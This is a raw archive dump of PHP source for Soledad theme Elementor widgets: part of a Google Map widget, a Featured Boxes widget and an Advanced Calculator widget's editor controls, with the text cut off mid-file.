			'address', array(
				'label'     => __( 'Address', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => array( 'map_using' => 'address' ),
			)
		);
		$this->add_control(
			'latitude', array(
				'label'     => __( 'Latitude', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => array( 'map_using' => 'coordinates' ),
			)
		);
		$this->add_control(
			'longtitude', array(
				'label'     => __( 'Longtitude', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => array( 'map_using' => 'coordinates' ),
				'separator' => 'after',
			)
		);
		$this->add_control(
			'map_type', array(
				'label'     => __( 'Map type', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'road',
				'options'   => array(
					'road'      => esc_html__( 'Road', 'soledad' ),
					'satellite' => esc_html__( 'Satellite', 'soledad' ),
					'hybrid'    => esc_html__( 'Hybrid', 'soledad' ),
					'terrain'   => esc_html__( 'Terrain', 'soledad' ),
					'custom'    => esc_html__( 'Custom', 'soledad' ),
				),
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$this->add_control(
			'map_width', array(
				'label'      => __( 'Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array(
					'%'  => array( 'min' => 0, 'max' => 100 ),
					'px' => array( 'min' => 0, 'max' => 2000 )
				),
				'size_units' => array( '%', 'px' ),
			)
		);
		$this->add_control(
			'map_height', array(
				'label' => __( 'Height', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
			)
		);
		$this->add_control(
			'marker_img',
			array(
				'label'     => __( 'Marker Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'separator' => 'before',
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$this->add_control(
			'marker_title', array(
				'label'     => __( 'Marker Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$this->add_control(
			'info_window', array(
				'label'     => __( 'Info Window', 'soledad' ),
				'type'      => Controls_Manager::TEXTAREA,
				'separator' => 'after',
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$pmetas = array(
			'map_is_zoom'     => array( 'label' => __( 'Zoom', 'soledad' ) ),
			'map_pan'         => array( 'label' => __( 'Pan', 'soledad' ) ),
			'map_scale'       => array( 'label' => __( 'Map scale', 'soledad' ) ),
			'map_street_view' => array( 'label' => __( 'Street view', 'soledad' ) ),
			'map_rotate'      => array( 'label' => __( 'Rotate', 'soledad' ) ),
			'map_overview'    => array( 'label' => __( 'Overview map', 'soledad' ) ),
			'map_scrollwheel' => array( 'label' => __( 'Scrollwheel', 'soledad' ) ),
		);

		foreach ( $pmetas as $key => $pmeta ) {
			$this->add_control(
				$key, array(
					'label'     => $pmeta['label'],
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Yes', 'soledad' ),
					'label_off' => __( 'No', 'soledad' ),
					'condition' => [ 'map_api!' => '' ],
				)
			);
		}

		$this->add_control(
			'map_zoom', array(
				'label'   => __( 'Zoom', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '8',
				'options' => array(
					6  => 6,
					7  => 7,
					8  => 8,
					9  => 9,
					10 => 10,
					11 => 11,
					12 => 12,
					13 => 13,
					14 => 14,
					15 => 15,
					16 => 16,
				)
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();


		$default = array(
			'penci_block_width' => '3',
			'shortcode_id'      => 'map',
			'map_using'         => '',
			'address'           => '',
			'latitude'          => '',
			'longtitude'        => '',
			'map_type'          => '',
			'map_width'         => '',
			'map_height'        => '',
			'marker_img'        => '',
			'marker_title'      => '',
			'info_window'       => '',
			'map_is_zoom'       => '',
			'map_pan'           => '',
			'map_scale'         => '',
			'map_street_view'   => '',
			'map_rotate'        => '',
			'map_overview'      => '',
			'map_scrollwheel'   => '',
			'map_zoom'          => '',
			'come_from'         => 'vc'
		);

		$atts = shortcode_atts( $default, $settings );

		$css_class = 'penci-block-vc penci-google-map';

		$width  = isset( $settings['map_width']['size'] ) && $settings['map_width']['size'] ? $settings['map_width']['size'] . $settings['map_width']['unit'] : '100%';
		$height = intval( $settings['map_height'] ) ? $settings['map_height'] . 'px' : '500px';

		$atts['map_zoom']   = intval( $settings['map_zoom'] ? $settings['map_zoom'] : 8 );
		$atts['marker_img'] = $this->get_marker_img_el( $settings['marker_img'] );

		$option = htmlentities( json_encode( $atts ), ENT_QUOTES, "UTF-8" );

		$block_id = 'penci_map_' . rand( 1000, 100000 );

		$map_api = get_theme_mod( 'penci_map_api_key' );

		if ( 'address' == $settings['map_using'] ) {
			$map_address = $settings['address'];
		} else {
			$map_address = $settings['latitude'] . ',' . $settings['longtitude'];
		}

		if ( $map_api ) {
			printf( '<div style="width:%s;height:%s" id="%s" class="%s" data-map_options="%s"></div>', $width, $height, $block_id, $css_class, $option );
		} else {
			$params    = [
				rawurlencode( $map_address ),
				absint( $settings['map_zoom'] ),
				esc_attr( $settings['map_type'] ),
			];
			$map_url   = 'https://maps.google.com/maps?q=%1$s&amp;t=m&amp;z=%2$d&amp;output=embed&amp;iwloc=near&amp;maptype=%3$s';
			$map_url   = esc_url( vsprintf( $map_url, $params ) );
			$css_class = 'penci-block-vc penci-lazy no-api';
			printf( '<iframe style="width:%s;height:%s" id="%s" class="%s" data-src="%s"></iframe>', $width, $height, $block_id, $css_class, $map_url );
		}
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}

}
PK     1w\L%  %  1  elementor/modules/penci-featured-boxes/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFeaturedBoxes;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-featured-boxes';
	}

	public function get_widgets() {
		return array( 'PenciFeaturedBoxes' );
	}
}
PK     1w\FQ{o)  )  G  elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFeaturedBoxes\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFeaturedBoxes extends Base_Widget {

	public function get_name() {
		return 'penci-featured-boxes';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Featured Boxes', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'featured boxes' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_style', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'boxes-style-1',
				'options' => array(
					'boxes-style-1' => esc_html__( 'Style 1', 'soledad' ),
					'boxes-style-2' => esc_html__( 'Style 2', 'soledad' ),
					'boxes-style-3' => esc_html__( 'Style 3', 'soledad' ),
					'boxes-style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_columns', array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'boxes-3-columns',
				'options' => array(
					'boxes-1-column'  => esc_html__( '1 Column', 'soledad' ),
					'boxes-2-columns' => esc_html__( '2 Columns', 'soledad' ),
					'boxes-3-columns' => esc_html__( '3 Columns', 'soledad' ),
					'boxes-4-columns' => esc_html__( '4 Columns', 'soledad' )
				)
			)
		);

		$this->add_control(
			'penci_size', array(
				'label'   => __( 'Image Size Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'horizontal',
				'options' => array(
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				)
			)
		);
		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .home-featured-boxes .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_size' => 'custom' ),
			)
		);
		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			array(
				'name'      => 'thumbnail',
				'default'   => 'full',
				'separator' => 'none',
				'condition' => array( 'penci_size' => 'custom' ),
			)
		);

		$this->add_control(
			'penci_new_tab', array(
				'label'     => __( 'Open in New Tab?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);

		$this->add_responsive_control(
			'penci_margin_top', array(
				'label'     => __( 'Custom Margin Top ( Unit is Pixel )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'selectors' => array( '{{WRAPPER}} .home-featured-boxes' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'penci_margin_bottom', array(
				'label'     => __( 'Custom Margin Bottom ( Unit is Pixel )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'selectors' => array( '{{WRAPPER}} .home-featured-boxes' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$repeater = new Repeater();
		$repeater->add_control(
			'_image',
			array(
				'label'   => __( 'Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => array( 'url' => Utils::get_placeholder_image_src() ),
			)
		);
		$repeater->add_control(
			'_text', array(
				'label' => __( 'Text', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'_url', array(
				'label' => __( 'URL', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'boxes_data', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'_image' => array( 'url' => Utils::get_placeholder_image_src() ),
						'_text'  => 'Featured Boxed 1',
						'_url'   => 'http://example1.com/'
					),
					array(
						'_image' => array( 'url' => Utils::get_placeholder_image_src() ),
						'_text'  => 'Featured Boxed 2',
						'_url'   => 'http://example1.com/'
					),
					array(
						'_image' => array( 'url' => Utils::get_placeholder_image_src() ),
						'_text'  => 'Featured Boxed 3',
						'_url'   => 'http://example1.com/'
					),
				),
				'title_field' => '{{{ name }}}',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_title_block_style',
			array(
				'label' => __( 'Featured Boxes', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'img_box_border_color', array(
				'label'     => __( 'Background and Border color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span:before'     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:after'                => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:before'               => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span'            => 'background-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4'        => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'img_box_text_color', array(
				'label'     => __( 'Text color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 > span,{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'img_box_text_hcolor', array(
				'label'     => __( 'Hover text color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:hover h4 > span'    => 'color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:hover h4 span span' => 'color: {{VALUE}};',
				),
			)
		);


		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'img_box_typo',
				'label'    => __( 'Text Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 > span,{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span',
			)
		);
		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( empty( $settings['boxes_data'] ) ) {
			return;
		}
		$size  = $settings['penci_size'];
		$thumb = 'penci-thumb';
		if ( $size == 'square' ) {
			$thumb = 'penci-thumb-square';
		} elseif ( $size == 'vertical' ) {
			$thumb = 'penci-thumb-vertical';
		} elseif ( $size == 'custom' ) {
			if ( $settings['thumbnail_size'] ) {
				$thumb = $settings['thumbnail_size'];
			}
		}
		?>
        <div class="clearfix home-featured-boxes home-featured-boxes-sc home-featured-boxes-vc boxes-size-<?php echo $size; ?>">
            <ul class="homepage-featured-boxes <?php echo esc_attr( $settings['penci_columns'] ); ?>">
				<?php
				foreach ( (array) $settings['boxes_data'] as $item ) {
					if ( isset( $item['_image'] ) ):
						$homepage_box_image = $this->get_marker_img_el( $item['_image'], 'full' );
						$homepage_box_text = isset( $item['_text'] ) ? $item['_text'] : '';
						$homepage_box_url = isset( $item['_url'] ) ? $item['_url'] : '';

						$open_url  = '';
						$close_url = '';
						$target    = '';
						if ( 'yes' == $settings['penci_new_tab'] ):
							$target = ' target="_blank"';
						endif;
						if ( $homepage_box_url ) {
							$open_url  = '<a href="' . do_shortcode( $homepage_box_url ) . '"' . $target . '>';
							$close_url = '</a>';
						}
						?>
                        <li class="penci-featured-ct <?php echo( $homepage_box_text ? ' boxes-has-text' : 'boxes-no-text' ); ?>">
							<?php echo wp_kses( $open_url, penci_allow_html() ); ?>
                            <div class="penci-fea-in <?php echo esc_attr( $settings['penci_style'] ); ?>">

                                <div <?php echo penci_layout_bg( penci_get_image_size_url( $homepage_box_image, $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> fea-box-img penci-image-holder penci-holder-load">
									<?php echo penci_layout_img( penci_get_image_size_url( $homepage_box_image, $thumb ) ); ?>
                                </div>


								<?php if ( $homepage_box_text ): ?>
                                    <h4>
                                        <span class="boxes-text"><span><?php echo do_shortcode( $homepage_box_text ); ?></span></span>
                                    </h4>
								<?php endif; ?>
                            </div>
							<?php echo wp_kses( $close_url, penci_allow_html() ); ?>
                        </li>
					<?php
					endif;
				}
				?>
            </ul>
        </div>
		<?php
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}
}
PK     1w\ޝP|  |  6  elementor/modules/penci-advanced-calculator/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAdvancedCalculator;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-calculator';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedCalculator' );
	}
}
PK     1w\>v  v  Q  elementor/modules/penci-advanced-calculator/widgets/penci-advanced-calculator.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedCalculator\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;
use Elementor\Repeater;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciAdvancedCalculator extends Base_Widget {

	public function get_name() {
		return 'penci-advanced-calculator';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Advanced Calculator', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-document-file';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'custom', 'advanced', 'calculator', 'math', 'formula' ];
	}

	public function get_script_depends() {
		return [ 'penci-advanced-calculator' ];
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_form_fields',
			[
				'label' => esc_html__( 'Calculator Fields', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$field_types = [
			'text'     => esc_html__( 'Text', 'soledad' ),
			'number'   => esc_html__( 'Number', 'soledad' ),
			'hidden'   => esc_html__( 'Hidden', 'soledad' ),
			'disabled' => esc_html__( 'Disabled', 'soledad' ),
			'select'   => esc_html__( 'Select', 'soledad' ),
			'radio'    => esc_html__( 'Radio', 'soledad' ),
		];

		$repeater->add_control(
			'field_type',
			[
				'label'   => esc_html__( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => $field_types,
				'default' => 'number',
			]
		);

		$repeater->add_control(
			'field_label',
			[
				'label'   => esc_html__( 'Label', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '',
				'dynamic' => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'placeholder',
			[
				'label'      => esc_html__( 'Placeholder', 'soledad' ),
				'type'       => Controls_Manager::TEXT,
				'default'    => '',
				'dynamic'    => [ 'active' => true ],
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'text',
								'number',
							],
						],
					],
				],
			]
		);

		$repeater->add_control(
			'field_value',
			[
				'label'      => esc_html__( 'Default Value', 'soledad' ),
				'type'       => Controls_Manager::TEXT,
				'default'    => '',
				'dynamic'    => [
					'active' => true,
				],
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'text',
								'number',
								'hidden',
								'disabled',
							],
						],
					],
				],
			]
		);

		$repeater->add_control(
			'field_options',
			[
				'label'       => esc_html__( 'Options', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => '',
				'description' => esc_html__( 'Enter each option in a separate line. To differentiate between label and value, separate them with a pipe char ("|"). For example: First Item|f_name', 'soledad' ),
				'dynamic'     => [ 'active' => true ],
				'conditions'  => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'select',
								'checkbox',
								'radio',
							],
						],
					],
				],
			]
		);

		$repeater->add_control(
			'inline_list',
			[
				'label'      => esc_html__( 'Inline List', 'soledad' ),
				'type'       => Controls_Manager::SWITCHER,
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'checkbox',
								'radio',
							],
						],
					],
				],
			]
		);

		$repeater->add_responsive_control(
			'width',
			[
				'label'      => esc_html__( 'Column Width', 'soledad' ),
				'type'       => Controls_Manager::NUMBER,
				'default'    => 100,
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => '!in',
							'value'    => [
								'hidden',
							],
						],
					],
				],
				'selectors'  => [
					'{{WRAPPER}}  .penci-advcal-el-field-group{{CURRENT_ITEM}}' => 'width: {{VALUE}}%',
				],
			]
		);

		$this->add_control(
			'form_fields',
			[
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'field_type'  => 'number',
						'field_label' => esc_html__( 'First Value', 'soledad' ),
						'placeholder' => esc_html__( 'Enter your value', 'soledad' ),
						'width'       => '100',
					],
					[
						'field_type'  => 'number',
						'field_label' => esc_html__( 'Second Value', 'soledad' ),
						'placeholder' => esc_html__( 'Enter your value', 'soledad' ),
						'width'       => '100',
					],
				],
				'title_field' => '{{{ field_label }}}',
			]
		);


		$this->end_controls_section();


		$this->start_controls_section(
			'section_forms_layout',
			[
				'label' => esc_html__( 'Form Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'show_labels',
			[
				'label'   => esc_html__( 'Label', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_responsive_control(
			'alignment',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'     => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'center'   => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					],
					'flex-end' => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}}.penci-advcal-el-all-field-inline--yes .penci-advcal-form' => 'justify-content: {{VALUE}};',
				],
				'condition' => [
					'all_field_inline' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'text_align',
			[
				'label'     => esc_html__( 'Text Align', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'left',
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-form, {{WRAPPER}} .penci-advcal-form input, {{WRAPPER}} .penci-advcal-form textarea' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_text_heading',
			[
				'label'   => esc_html__( 'Submit Button', 'soledad' ),
				'type'    => Controls_Manager::HEADING,
			]
		);
		
		$this->add_control(
			'button_text',
			[
				'label'   => esc_html__( 'Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Submit', 'soledad' ),
			]
		);

		$this->add_responsive_control(
			'button_size',
			[
				'label'        => esc_html__( 'Button Size', 'soledad' ),
				'type'         => Controls_Manager::SELECT,
				'default'      => 'small',
				'options'      => [
					'small' => __( 'Small', 'soledad' ),
					'full'  => __( 'Full Width', 'soledad' ),
				],
				'selectors_dictionary' => [
					'small' => 'auto;',
					'full' => '100%;',
				],
				'selectors'    => [
					'{{WRAPPER}} .penci-advcal-button' => 'width: {{VALUE}}',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_formula',
			[
				'label' => esc_html__( 'Calculator Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'form_formula',
			[
				'label'       => esc_html__( 'Formula', 'soledad' ),
				'type'        => Controls_Manager::CODE,
				'dynamic'     => [ 'active' => true ],
				'default'     => esc_html__( 'SUM(f1 + f2)', 'soledad' ),
				'label_block' => true,
			]
		);

		$this->add_control(
			'form_formula_note',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => __(
					'It\'s one of the most amazing features of this widget. There are lots of math formulas available for you. The fields will automatically detect their own indexing. If you insert 2 fields and want to add them then the formula would be <b>SUM(f1+f2)</b>.
				<br/>If you want to know details about formulas, please visit <a href="https://formulajs.info/functions/" target="_blank">Here</a>.',
					'soledad'
				),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);

		$this->add_control(
			'form_result_show',
			[
				'label'   => esc_html__( 'Result Show', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'submit',
				'options' => [
					'submit' => esc_html__( 'On Submit', 'soledad' ),
					'change' => esc_html__( 'On Change', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'form_result_position',
			[
				'label'   => esc_html__( 'Result Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'bottom',
				'options' => [
					'top'    => esc_html__( 'Top', 'soledad' ),
					'bottom' => esc_html__( 'Bottom', 'soledad' ),
				],
			]
		);

		$this->add_responsive_control(
			'result_alignment',
			[
				'label'       => esc_html__( 'Alignment', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'options'     => [
					'left'    => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'  => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'   => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
					'justify' => [
						'title' => esc_html__( 'Justify', 'soledad' ),
						'icon'  => 'eicon-text-align-justify',
					],
				],
				'default'     => is_rtl() ? 'right' : 'left',
				'toggle'      => false,
				'label_block' => false,
				'selectors'   => [
					'{{WRAPPER}} .penci-advcal-result' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'form_result_text',
			[
				'label'       => esc_html__( 'Result Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'dynamic'     => [ 'active' => true ],
				'description' => esc_html__( 'HTML also allowed.', 'soledad' ),
				'default'     => esc_html__( 'Result is: ', 'soledad' ),
				'label_block' => true,
			]
		);

		$this->add_control(
			'form_result_error',
			[
				'label'       => esc_html__( 'Error Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'dynamic'     => [ 'active' => true ],
				'description' => esc_html__( 'This message will appear when user will do something wrong.', 'soledad' ),
				'default'     => esc_html__( 'Error, invalid data format. please fix the data format and send again. thanks!', 'soledad' ),
				'label_block' => true,
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style',
			[
				'label' => esc_html__( 'Form Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_responsive_control(
			'row_gap',
			[
				'label'     => esc_html__( 'Field Space', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => '15',
				],
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group:not(:last-child)'               => 'margin-bottom: {{SIZE}}{{UNIT}};margin-top: 0;',
					'{{WRAPPER}} .penci-advcal-el-name-email-inline + .penci-advcal-el-name-email-inline' => 'padding-left: {{SIZE}}px',
				],
			]
		);

		$this->add_responsive_control(
			'col_gap',
			[
				'label'     => esc_html__( 'Column Space', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => '12',
				],
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-field-wrap' => 'padding-right: calc( {{SIZE}}{{UNIT}}/2 ); padding-left: calc( {{SIZE}}{{UNIT}}/2 );',
					'{{WRAPPER}} .penci-advcal-form'       => 'margin-left: calc( -{{SIZE}}{{UNIT}}/2 );margin-right: calc( -{{SIZE}}{{UNIT}}/2 );',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_labels',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_labels!' => '',
				],
			]
		);

		$this->add_control(
			'label_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group > label' => 'margin-bottom: {{SIZE}}{{UNIT}} !important;',
				],
			]
		);

		$this->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-label' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'label_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-label',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_field_style',
			[
				'label' => esc_html__( 'Fields', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_field_style' );

		$this->start_controls_tab(
			'tab_field_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'field_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_placeholder_color',
			[
				'label'     => esc_html__( 'Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
